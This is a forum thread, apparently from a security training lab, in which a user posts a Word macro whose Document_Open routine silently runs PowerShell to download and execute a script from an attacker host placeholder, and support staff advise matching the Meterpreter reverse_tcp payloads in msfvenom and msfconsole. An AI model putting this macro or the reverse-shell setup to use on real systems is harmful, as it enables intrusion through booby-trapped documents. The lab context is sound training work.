Forum Discussion
Weaponization: Payloads β Office Macros
I've been banging my head against this brick wall for a few hours now and I could use a second set of eyes.
1. I've created a macro enabled word doc with the following vb code on windows machine:
Sub Document_Open()
Dim ps as String
ps = "powershell.exe -NoExit Invoke-Expression (New-Object Net.WebClient).DownloadString('http://MY_KALI_IP/shell.ps1')"
process = Shell(ps, vbhide)
End Sub
2 Replies
- AndradaCraciun
Community Support
Hi justajolt thanks for reaching out! We've checked the lab, and it's working correctly - looking at your progress, the payloads used for msfvenom and msfsconole need to match. At the minute, you are using windows/x64/meterpreter/reverse_tcp for msfvenom and windows/meterpreter/reverse_tcp for msfconole, when you should be using windows/x64/meterpreter/reverse_tcp for both. This should resolve the issueπ
- KieranRowley
Community Manager
Hey justajolt - welcome to the community. Let me check with the lab author and see if I can get you a hint